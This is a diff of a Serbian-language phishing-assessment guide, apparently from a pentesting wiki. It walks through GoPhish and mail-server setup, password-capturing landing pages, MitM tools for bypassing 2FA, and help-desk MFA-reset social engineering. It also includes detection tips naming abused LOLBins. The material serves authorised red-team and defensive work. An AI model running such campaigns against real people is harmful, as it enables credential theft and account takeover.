za pristup svojim mejlovima**, možete proveriti da li je ranjiv na **username brute force**, i iskoristiti ranjivost ako je moguće. +Da bi **otkrio više** validnih email adresa ili **verifikovao one** koje si već pronašao, možeš proveriti da li možeš brute-force-ovati smtp servere žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ +Takođe, ne zaboravi da ako korisnici koriste **bilo koji web portal za pristup mail-ovima**, možeš proveriti da li je ranjiv na **username brute force**, i iskoristiti tu ranjivost ako je moguće. -## Konfigurisanje GoPhish +## Configuring GoPhish ### Instalacija -Možete ga preuzeti sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) +Možeš ga download-ovati sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) -Preuzmite i raspakujte ga u `/opt/gophish` i pokrenite `/opt/gophish/gophish`\ -U izlazu će vam biti dodeljena lozinka za admin korisnika na portu 3333. Dakle, pristupite tom portu i koristite te akreditive da promenite admin lozinku. Možda ćete morati da tunelišete taj port lokalno: +Download-uj i dekompresuj unutar `/opt/gophish` i pokreni `/opt/gophish/gophish`\ +U output-u će ti biti dat password za admin user-a na portu 3333. Dakle, pristupi tom portu i iskoristi te credentials da promeniš admin password. Možda ćeš trebati da tuneluješ taj port ka lokalnom: ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 @ **Konfiguracija TLS sertifikata** -Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora biti **usmeren** na **IP VPS-a** na kojem konfigurišete **gophish**. +Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora da bude **usmeren** na **IP adresu VPS-a** gde konfigurišete **gophish**. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -114,7 +114,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt ``` **Konfiguracija pošte** -Počnite sa instalacijom: `apt-get install postfix` +Počnite instalaciju: `apt-get install postfix` Zatim dodajte domen u sledeće fajlove: @@ -122,23 +122,23 @@ Zatim dodajte domen u sledeće fajlove: - **/etc/postfix/transport** - **/etc/postfix/virtual_regexp** -**Takođe promenite vrednosti sledećih promenljivih u fajlu /etc/postfix/main.cf** +**Takođe promenite vrednosti sledećih promenljivih u /etc/postfix/main.cf** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` Na kraju izmenite fajlove **`/etc/hostname`** i **`/etc/mailname`** tako da sadrže vaš domen i **restartujte vaš VPS.** -Sada kreirajte **DNS A record** za `mail.` koji pokazuje na **ip address** VPS-a i **DNS MX** zapis koji pokazuje na `mail.` +Sada kreirajte **DNS A record** za `mail.` koji pokazuje na **IP adresu** VPS-a i **DNS MX** zapis koji pokazuje na `mail.` -Sada ćemo testirati slanje e-maila: +Sada ćemo testirati slanje emaila: ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com ``` **Gophish konfiguracija** -Zaustavite izvršavanje gophish-a i hajde da ga konfigurišemo.\ +Zaustavite izvršavanje gophish i hajde da ga konfigurišemo.\ Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu https): ```bash { @@ -166,7 +166,7 @@ Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu ht ``` **Konfigurišite gophish servis** -Da biste kreirali gophish servis tako da može biti automatski pokrenut i upravljan kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem: +Da biste kreirali gophish servis tako da se može automatski pokretati i upravljati kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem: ```bash #!/bin/bash # /etc/init.d/gophish @@ -213,7 +213,7 @@ case $1 in start|stop|status) "$1" ;; esac ``` -Završite konfigurisanje servisa i proverite ga tako što ćete uraditi: +Završite konfiguraciju servisa i proveru tako što ćete uraditi: ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish @@ -226,25 +226,25 @@ service gophish stop ``` ## Konfigurisanje mail servera i domena -### Sačekajte i budite legitimni +### Sačekaj i budi legitiman -Što je domen stariji, to je manja verovatnoća da će biti označen kao spam. Zato biste trebali čekati što duže (najmanje 1 nedelju) pre phishing procene. Pored toga, ako postavite stranicu vezanu za sektor sa boljom reputacijom, reputacija koja se stekne biće bolja. +Što je domen stariji, manja je verovatnoća da će biti označen kao spam. Zato treba da sačekaš što je moguće duže (najmanje 1 nedelju) pre phishing procene. Takođe, ako postaviš stranicu povezanu sa reputacionim sektorom, dobijena reputacija će biti bolja. -Imajte na umu da, čak i ako morate čekati nedelju dana, možete sada završiti svu konfiguraciju. +Imaj na umu da iako treba da sačekaš nedelju dana, možeš sada završiti svu konfiguraciju. -### Configure Reverse DNS (rDNS) record +### Konfiguriši Reverse DNS (rDNS) zapis -Postavite rDNS (PTR) zapis koji rezoluje IP adresu VPS-a na ime domena. +Postavi rDNS (PTR) zapis koji rešava IP adresu VPS-a na ime domena. ### Sender Policy Framework (SPF) Record -Morate **konfigurisati SPF zapis za novi domen**. Ako ne znate šta je SPF zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf). +Moraš **konfigurisati SPF zapis za novi domen**. Ako ne znaš šta je SPF zapis [**pročitaj ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf). -Možete koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišete vašu SPF politiku (koristite IP VPS mašine) +Možeš koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišeš svoju SPF politiku (koristi IP VPS mašine) ![](<../../images/image (1037).png>) -Ovo je sadržaj koji mora biti postavljen unutar TXT zapisa na domenu: +Ovo je sadržaj koji treba postaviti u TXT record unutar domena: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` @@ -252,18 +252,18 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all Morate **konfigurisati DMARC zapis za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). -Morate kreirati novi DNS TXT zapis koji pokazuje na hostname `_dmarc.` sa sledećim sadržajem: +Morate da kreirate novi DNS TXT zapis usmeren na hostname `_dmarc.` sa sledećim sadržajem: ```bash v=DMARC1; p=none ``` ### DomainKeys Identified Mail (DKIM) -Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). +Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) > [!TIP] -> Potrebno je da konkatenirate obe B64 vrednosti koje DKIM ključ generiše: +> Potrebno je da spojite obe B64 vrednosti koje DKIM ključ generiše: > > ``` > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB @@ -271,13 +271,13 @@ This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how ### Test your email configuration score -To možete uraditi koristeći [https://www.mail-tester.com/](https://www.mail-tester.com/)\ -Samo pristupite stranici i pošaljite e-mail na adresu koju vam daju: +You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com/)\ +Samo pristupite stranici i pošaljite email na adresu koju vam daju: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` -Možete takođe **proveriti konfiguraciju e-pošte** slanjem poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i pogledate odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\ -Proverite da li prolazite sve testove: +Takođe možete **proveriti konfiguraciju e-pošte** slanjem e-poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i vidite odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\ +Proverite da li ste prošli sve testove: ```bash ========================================================== Summary of Results @@ -288,40 +288,40 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -Možete takođe poslati **poruku na Gmail nalog pod vašom kontrolom**, i proveriti **zaglavlja e-pošte** u svom Gmail inboxu, `dkim=pass` bi trebalo da bude prisutno u polju zaglavlja `Authentication-Results`. +Takođe možete poslati **poruku na Gmail koji kontrolišete**, i proveriti **zaglavlja emaila** u svom Gmail inboxu, `dkim=pass` treba da bude prisutan u polju `Authentication-Results`. ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; dkim=pass header.i=@example.com; ``` -### ​Removing from Spamhouse Blacklist +### Uklanjanje sa Spamhouse crne liste -Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse-a. Možete zatražiti uklanjanje domena/IP-a na: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse. Možete zatražiti uklanjanje vašeg domena/IP-a na: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) -### Removing from Microsoft Blacklist +### Uklanjanje sa Microsoft crne liste -​​Možete zatražiti uklanjanje domena/IP-a na [https://sender.office.com/](https://sender.office.com). +​​Možete zatražiti uklanjanje vašeg domena/IP-a na [https://sender.office.com/](https://sender.office.com). -## Create & Launch GoPhish Campaign +## Kreiranje i pokretanje GoPhish kampanje -### Sending Profile +### Profil pošiljaoca - Postavite neko **ime za identifikaciju** profila pošiljaoca -- Odlučite sa kojeg naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._ -- Možete ostaviti prazno korisničko ime i lozinku, ali obavezno označite opciju Ignore Certificate Errors +- Odlučite sa kog naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._ +- Možete ostaviti korisničko ime i lozinku praznim, ali obavezno označite Ignore Certificate Errors ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!TIP] -> Preporučuje se korišćenje funkcionalnosti "**Send Test Email**" da biste testirali da li sve radi.\ -> Preporučio bih da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli da prilikom testiranja budete stavljeni na crnu listu. +> Preporučuje se da koristite funkciju "**Send Test Email**" da testirate da li sve radi.\ +> Preporučujem da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli stavljanje na crnu listu tokom testiranja. -### Email Template +### Šablon mejla - Postavite neko **ime za identifikaciju** šablona -- Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom emailu) -- Uverite se da ste označili "**Add Tracking Image**" -- Napišite **email template** (možete koristiti varijable kao u sledećem primeru): +- Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom mejlu) +- Obavezno označite "**Add Tracking Image**" +- Napišite **šablon mejla** (možete koristiti promenljive kao u sledećem primeru): ```html @@ -340,65 +340,65 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -Imajte na umu da, **kako biste povećali kredibilitet e‑pošte**, preporučuje se korišćenje nekog potpisa iz e‑maila klijenta. Predlozi: +Napomena: **da biste povećali kredibilitet mejla**, preporučuje se korišćenje neke potpisa iz mejla klijenta. Predlozi: -- Pošaljite poruku na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis. -- Potražite **javne adrese** kao što su info@ex.com, press@ex.com ili public@ex.com i pošaljite im e‑mail i sačekajte odgovor. -- Pokušajte da kontaktirate **neku validnu otkrivenu** adresu i sačekajte odgovor. +- Pošaljite mejl na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis. +- Potražite **javne mejlove** kao info@ex.com ili press@ex.com ili public@ex.com i pošaljite im mejl i sačekajte odgovor. +- Pokušajte da kontaktirate **neki validan otkriven** mejl i sačekajte odgovor ![](<../../images/image (80).png>) > [!TIP] -> Šablon e‑pošte takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM izazove korišćenjem posebno izrađenih fajlova/dokumenata, [pročitajte ovu stranicu](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). +> The Email Template takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM challenges koristeći posebno kreirane fajlove/dokumente [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). ### Landing Page -- Navedite **ime** -- **Napišite HTML kod** web stranice. Imajte na umu da možete **importovati** veb stranice. -- Obeležite **Capture Submitted Data** i **Capture Passwords** -- Podesite **preusmeravanje** +- Unesite **ime** +- **Napišite HTML kod** web stranice. Imajte u vidu da možete **importovati** web stranice. +- Označite **Capture Submitted Data** i **Capture Passwords** +- Podesite **redirection** ![](<../../images/image (826).png>) > [!TIP] -> Obično ćete morati da izmenite HTML kod stranice i izvršite testove lokalno (možda koristeći neki Apache server) **dok ne budete zadovoljni rezultatima.** Zatim unesite taj HTML kod u polje.\ -> Imajte u vidu da ako treba da **koristite neke statične resurse** za HTML (npr. CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\**_ +> Obično će biti potrebno modifikovati HTML kod stranice i raditi testove lokalno (možda koristeći neki Apache server) **dok ne dobijete željene rezultate.** Zatim taj HTML kod upišite u polje.\ +> Napomena: ako trebate **koristiti statičke resurse** za HTML (npr. neke CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\**_ > [!TIP] -> Za preusmeravanje možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili preusmeriti ih na _/static/migration.html_ na primer, prikazati **spinning wheel** ([https://loading.io/](https://loading.io)) 5 sekundi i potom naznačiti da je proces uspešan. +> Za redirection možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili ih redirektovati na _/static/migration.html_ na primer, prikazati neki **spinning wheel** ([**https://loading.io/**](https://loading.io)) 5 sekundi i onda naznačiti da je proces uspešan. -### Korisnici i grupe +### Users & Groups -- Postavite naziv -- **Importujte podatke** (imajte u vidu da da biste koristili šablon za primer trebate firstname, last name i email address svakog korisnika) +- Podesite ime +- **Importujte podatke** (imajte u vidu da za korišćenje template-a u primeru trebate firstname, last name i email address svakog korisnika) ![](<../../images/image (163).png>) -### Kampanja +### Campaign -Na kraju, kreirajte kampanju birajući ime, šablon e‑pošte, landing page, URL, sending profile i grupu. Imajte na umu da će URL biti link poslat žrtvama. +Na kraju, kreirajte kampanju birajući ime, email template, landing page, URL, Sending Profile i grupu. Napomena: URL će biti link poslat žrtvama. -Napomena: **Sending Profile omogućava slanje testne poruke da vidite kako će konačna phishing poruka izgledati**: +Imajte u vidu da **Sending Profile omogućava slanje test mejla da vidite kako će finalni phishing mejl izgledati**: ![](<../../images/image (192).png>) > [!TIP] -> Preporučio bih da **testne poruke šaljete na 10min mail adrese** kako biste izbegli da vas stave na blacklist prilikom testiranja. +> Preporučujem da **test mejlove šaljete na 10min mail adrese** kako biste izbegli da budete blacklisted tokom testiranja. -Kada je sve spremno, jednostavno pokrenite kampanju! +Kada je sve spremno, samo pokrenite kampanju! -## Kloniranje vebsajta +## Website Cloning -Ako iz bilo kog razloga želite da klonirate vebsajt, pogledajte sledeću stranicu: +Ako iz bilo kog razloga želite da klonirate vebsajt, proverite sledeću stranicu: {{#ref}} clone-a-website.md {{#endref}} -## Dokumenti i fajlovi sa backdoorom +## Backdoored Documents & Files -U nekim phishing procenama (uglavnom za Red Team-ove) možda ćete želeti da pošaljete i **fajlove koji sadrže neku vrstu backdoor-a** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\ +U nekim phishing procenama (uglavnom za Red Teams) ćete želeti i da **pošaljete fajlove koji sadrže neku vrstu backdoora** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\ Pogledajte sledeću stranicu za neke primere: @@ -408,55 +408,55 @@ phishing-documents.md ## Phishing MFA -### Preko Proxy MitM +### Via Proxy MitM -Prethodna metoda je prilično pametna jer falsifikujete pravu veb stranicu i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo tačnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se predstavljate kao prevareni korisnik**. +Prethodni napad je prilično pametan jer falsifikujete stvarni sajt i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo ispravnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se imitujete kao kompromitovani korisnik**. -Tu dolaze alati kao što su [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena). Ovi alati vam omogućavaju da generišete MitM napad. U osnovi, napad funkcioniše na sledeći način: +Ovde alati poput [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) postaju korisni. Ovaj alat vam omogućava da generišete MitM tip napada. U suštini, napad funkcioniše na sledeći način: -1. Lažirate login formu prave veb stranice. -2. Korisnik pošalje svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentiali rade**. -3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod alat će ga proslediti pravoj veb stranici. -4. Kada je korisnik autentifikovan, vi (kao napadač) ste **zabeležili kredencijale, 2FA kod, cookie i sve informacije** svake interakcije dok alat radi MitM. +1. Vi **imitirate login** formu prave web stranice. +2. Korisnik **pošalje** svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentials rade**. +3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod, alat će ga poslati pravoj web stranici. +4. Kada je korisnik autentifikovan, vi (kao napadač) ćete imati **uhvaćene credentials, 2FA, cookie i sve informacije** o svakoj interakciji dok alat radi MitM. -### Preko VNC +### Via VNC -Šta ako umesto da **preusmerite žrtvu na zlonamernu stranicu** koja izgleda kao original, pošaljete žrtvu u **VNC sesiju sa browser-om povezanom na pravu veb stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji koristi, cookie-je...\ -To možete uraditi koristeći [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) +Šta ako umesto da **preusmerite žrtvu na malicioznu stranicu** koja izgleda kao originalna, pošaljete je u **VNC sesiju sa browserom koji je povezan na pravu web stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji se koristi, cookies...\ +Možete ovo postići pomoću [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) -## Kako otkriti da ste otkriveni +## Detecting the detection -Očigledno je da je jedan od najboljih načina da znate da li ste “pali” da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, vaš domen je na neki način detektovan kao sumnjiv.\ -Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je da koristite [https://malwareworld.com/](https://malwareworld.com) +Očigledno, jedan od najboljih načina da saznate da li ste otkriveni je da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, na neki način je vaš domen detektovan kao sumnjiv.\ +Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je korišćenje [https://malwareworld.com/](https://malwareworld.com) -Međutim, postoje i drugi načini da znate da li žrtva **aktivno traži sumnjive phishing domene** kako je objašnjeno u: +Međutim, postoje i drugi načini da saznate da li žrtva **aktivno traži sumnjive phishing domene u prirodi**, kao što je objašnjeno u: {{#ref}} detecting-phising.md {{#endref}} -Možete **kupiti domen vrlo sličnog imena** žrtvinom domenu **i/ili generisati sertifikat** za **subdomen** domena koji kontrolišete, a koji sadrži **ključnu reč** iz domena žrtve. Ako **žrtva** izvrši bilo koju vrstu **DNS ili HTTP interakcije** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete primorani da budete veoma stealth. +Možete **kupiti domen sa veoma sličnim imenom** domenu žrtve **i/ili generisati sertifikat** za **subdomen** domena koji vi kontrolišete **koji sadrži** **ključnu reč** žrtvinog domena. Ako žrtva izvrši bilo kakvu **DNS ili HTTP interakciju** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete prinuđeni da budete veoma stealth. -### Procena phishing kampanje +### Evaluate the phishing -Koristite [**Phishious**](https://github.com/Rices/Phishious) da procenite da li će vaša poruka završiti u spam folderu, biti blokirana ili uspešna. +Koristite [**Phishious** ](https://github.com/Rices/Phishious) da procenite da li će vaš mejl završiti u spam folderu, biti blokiran ili uspešan. ## High-Touch Identity Compromise (Help-Desk MFA Reset) -Savremeni intrusion setovi sve češće uopšte preskaču e‑mail mamce i **direktno ciljaju service-desk / workflow za identity-recovery** kako bi zaobišli MFA. Napad je u potpunosti “living-off-the-land”: jednom kada operator posede validne kredencijale pivot-uje koristeći ugrađene admin alate – nije potreban malware. +Moderni intrusion setovi sve više preskaču email mamce i **direktno ciljaju service-desk / identity-recovery workflow** kako bi zaobišli MFA. Napad je potpuno "living-off-the-land": kada operator poseduje validne kredencijale, on pivotira sa ugrađenim admin alatima – nije potreban malware. -### Tok napada -1. Recon na metu -* Prikupljanje ličnih i korporativnih podataka sa LinkedIn-a, iz data breach-eva, javnog GitHub-a itd. -* Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojte tačan help-desk proces za reset lozinke / MFA. -2. Socijalni inženjering u realnom vremenu -* Poziv, Teams ili chat help-deska dok se predstavljate kao meta (često sa **lažiranim caller-ID** ili **kloniranim glasom**). -* Dajte ranije prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju. -* Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovani mobilni broj. -3. Odmah nakon pristupa (≤60 min u realnim slučajevima) -* Uspostavite pristup kroz bilo koji web SSO portal. -* Enumerišite AD / AzureAD koristeći ugrađene alate (bez drop-ovanja binarnih fajlova): +### Attack flow +1. Recon žrtve +* Sakupite lične i korporativne podatke sa LinkedIn, curenja podataka, javnog GitHub-a, itd. +* Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojite **tačan help-desk proces** za reset lozinke / MFA. +2. Real-time social engineering +* Telefon, Teams ili chat sa help-deskom dok se predstavljate kao cilj (često sa **spoofed caller-ID** ili **cloned voice**). +* Pružite prethodno prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju. +* Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovanom broju mobilnog. +3. Immediate post-access actions (≤60 min u realnim slučajevima) +* Uspostavite foothold preko bilo kog web SSO porta. +* Enumerišite AD / AzureAD koristeći ugrađene alate (bez postavljanja binarnih fajlova): ```powershell # list directory groups & privileged roles Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} @@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id # Enumerate devices the account can login to Get-MgUserRegisteredDevice -UserId ``` -* Lateralan pokret koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelist-i u okruženju. +* Lateralno kretanje koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelisti u okruženju. -### Detekcija i mitigacija -* Tretirajte help-desk identity recovery kao **privilegovan proces** – zahtevajte step-up auth i odobrenje menadžera. -* Implementirajte **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alertuju na: -* Promenu MFA metode + autentikaciju sa novog uređaja / geolokacije. -* Odmahšnja elevacija istog principala (user → admin). -* Snimajte help-desk pozive i primenite **call-back na već registrovani broj** pre bilo kakvog reseta. -* Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne dobijaju automatski** visoke privilegovane tokene. +### Detection & Mitigation +* Tretirajte help-desk identity recovery kao **privileged operation** – zahtevajte step-up auth i odobrenje menadžera. +* Rasporedite **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alarmiraju na: +* Promena MFA metode + autentikacija sa novog uređaja / geolokacije. +* Momentalno eleviranje istog principala (user → admin). +* Snimajte help-desk pozive i zahtevajte **call-back na već registrovan broj** pre bilo kakvog reseta. +* Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne nasleđuju automatski** visokopriovilegovane tokene. --- -## Decepcija u velikom obimu – SEO Poisoning & “ClickFix” kampanje -Commodity ekipe pokrivaju troškove high-touch operacija masovnim napadima koji pretvaraju **pretraživače i ad network-e u kanal isporuke**. +## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns +Commodity timovi kompenzuju troškove high-touch operacija masovnim napadima koji pretvaraju **search engines & ad networks u kanal isporuke**. -1. **SEO poisoning / malvertising** ističe lažni rezultat poput `chromium-update[.]site` u vrhu search oglasa. -2. Žrtva preuzme mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42: +1. **SEO poisoning / malvertising** gura lažni rezultat poput `chromium-update[.]site` na vrh pretrage i oglasa. +2. Žrtva skida mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42: * `RedLine stealer` * `Lumma stealer` * `Lampion Trojan` -3. Loader eksfiltrira cookie-je pretraživača + baze kredencijala, zatim povlači **silent loader** koji odlučuje – *u realnom vremenu* – da li da deploy-uje: +3. Loader eksfiltrira cookies iz browsera + credential DBs, potom povlači **silent loader** koji odlučuje – *u realnom vremenu* – da li da deploy-uje: * RAT (npr. AsyncRAT, RustDesk) * ransomware / wiper -* komponentu za persistenciju (registry Run ključ + scheduled task) +* persistence komponentu (registry Run key + scheduled task) -### Saveti za hardening -* Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na e‑mail. +### Hardening tips +* Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na email. * Ograničite instalaciju softvera na potpisane MSI / Store pakete, zabranite izvršavanje `HTA`, `ISO`, `VBS` politikom. -* Monitorišite child procese browser-a koji otvaraju instalere: +* Monitorišite child procese browsera koji otvaraju instalere: ```yaml - parent_image: /Program Files/Google/Chrome/* and child_image: *\\*.exe ``` -* Lovite na LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`). +* Tražite LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`). --- -## AI‑poboljšane phishing operacije -Napadači sada povezuju **LLM & voice-clone API-je** za potpuno personalizovane mamce i interakciju u realnom vremenu. +## AI-Enhanced Phishing Operations +Napadači sada povezuju **LLM & voice-clone APIs** za potpuno personalizovane mamce i interakciju u realnom vremenu. -| Sloj | Primer upotrebe od strane threat aktora | -|------|----------------------------------------| -| Automatizacija | Generisanje i slanje >100k e‑mailova / SMS-ova sa randomizovanim porukama i tracking linkovima. | -| Generativni AI | Proizvodnja jedinstvenih e‑mailova koji referenciraju javne M&A, interne šale sa društvenih mreža; deep-fake glas CEO-a u callback prevari. | -| Agentic AI | Autonomna registracija domena, scrape open-source intel-a, kreiranje sledećih mejlova kada žrtva klikne ali ne pošalje kredencijale. | +| Layer | Primer upotrebe od strane threat actor-a | +|-------|------------------------------------------| +|Automation|Generisanje i slanje >100k mejlova / SMS sa nasumično variranim tekstom i tracking linkovima.| +|Generative AI|Kreiranje *jedinstvenih* mejlova koji referenciraju javne M&A događaje, interne šale sa društvenih mreža; deep-fake CEO glas u callback prevari.| +|Agentic AI|Autonomno registruje domene, scrape-uje open-source intel, kreira sledeće mejlove kada žrtva klikne ali ne pošalje kredencijale.| -**Odbrana:** -• Dodajte **dinamičke banere** koji ističu poruke poslate iz nepouzdanih automatizovanih izvora (preko ARC/DKIM anomalija). -• Implementirajte **voice-biometric challenge phrases** za visokorizične telefonske zahteve. -• Kontinuirano simulirajte AI‑generisane mamce u programima svesti – statični šabloni su zastareli. +**Defence:** +• Dodajte **dinamične banere** koji ističu poruke poslate iz nepouzdanih automatizacija (na osnovu ARC/DKIM anomalija). +• Implementirajte **voice-biometric challenge phrases** za high-risk telefonske zahteve. +• Kontinuirano simulirajte AI-generisane mamce u programima svesti – statički templatei su zastareli. See also – agentic browsing abuse for credential phishing: @@ -526,18 +526,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md --- -## MFA Fatigue / Push Bombing varijanta – Forsirani reset -Pored klasičnog push-bombinga, operateri jednostavno **forsiraju novu MFA registraciju** tokom poziva help-deska, poništavajući korisnikov postojeći token. Bilo koji naredni prompt za prijavu izgleda legitimno za žrtvu. +## MFA Fatigue / Push Bombing Variant – Forced 